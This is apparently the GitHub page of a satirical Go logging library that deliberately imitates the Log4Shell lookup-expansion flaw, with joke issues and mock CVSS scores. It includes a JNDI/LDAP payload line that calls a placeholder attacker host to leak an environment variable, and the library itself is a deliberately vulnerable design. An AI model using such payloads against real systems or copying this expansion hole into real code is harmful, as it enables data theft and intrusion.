bradfitz / jndi

a irresponsibly bad logging library

an irresponsibly bad logging library

Is CVE-2021-44228 making you feel left out as a Go programmer?

Fear not. We can fix that.

I wouldn't use this package, but if you want to...

package main

import "github.com/bradfitz/jndi"

var logger = jndi.NewLogger()

func main() {
	//...
}

func handleSomeTraffic(r *request) {
        logger.Printf("got request from %s", r.URL.Path)
}

Congrats, the user actually wrote ${jndi:ldap://attacker.example/${env:${lower:u}ser}} and the logger expanded your environment variable and sent it over the network as a side-effect of logging.

Inspiration

I saw https://twitter.com/_StaticFlow_/status/1469358229767475205 and thought it'd be fun to write an expander while I was bored, stuck in transit.

Bugs

This package is incomplete. log4j actually does a bunch more:

• https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution
• https://logging.apache.org/log4j/2.x/manual/lookups.html

Patches welcome to help flesh this package out. We've got some catching up to do.

Apologies

In case you're seeing this on GitHub and not via Twitter, I acknowledged that this is questionable taste: https://twitter.com/bradfitz/status/1469523985998118925

In general I believe in the whole #hugops thing. I had a CVE filed against my own code just the day before: https://twitter.com/bradfitz/status/1469015417679081472

It happens. I joke to cope.

jndi's Issues

Missing key feature: remote code execution

I was expecting to be able to open myself up to RCE and share the fear, but all I got was a bit of confidentiality loss.

jndi: regular expression compiled only once in package-scoped var

During a casual security review through this code, I couldn't help but notice this little guy being compiled exactly once.

var opRx = regexp.MustCompile(`\$\{(\w+?):(?:[^}\$]|(\$[^\{]))+}`)

To me this is perfectly acceptable, but I'm afraid this optimization does not capture the ethos I have come to know and love with certain Java-based logging libraries.

I'm hoping in the future someone could correct this by moving the expression closer to where it is used, for example:

func (e env) subst(s string) string {
	for {
		opRx := regexp.MustCompile(`\$\{(\w+?):(?:[^}\$]|(\$[^\{]))+}`) // prevent it from getting stale
		
		s2 := opRx.ReplaceAllStringFunc(s, func(sub string) string {
			i := strings.Index(sub, ":")
			return e.lookup(sub[2:i], sub[i+1:len(sub)-1])
		})
		if s2 == s {
			return s2
		}
		s = s2
	}
}

This would mean putting the compilation in the hot loop. I would like to ensure each invocation to ReplaceAllStringFunc have its very own regular expression. After all, someone could have replaced the package-scoped variable with something malicious. It's best to be pragmatic and reassure yourself and others that this is indeed the real opRx, and not some impostor.

Proof Of Concept

var opRx = hack{}

type hack struct{}

func (hack) ReplaceAllStringFunc(_ string, _ func(sub string) string) string {
	exec.Command("calc.exe").Run() // malicious calculator
	return "log"
}

As you can see, simply adding in this snippet of malicious code renders the beautiful library open to attack.

CVSS Base Score:
9.3
Impact Subscore:
6.0
Exploitability Subscore:
2.5
CVSS Temporal Score:
9.1
CVSS Environmental Score:
NA
Modified Impact Subscore:
NA
Overall CVSS Score:
9.1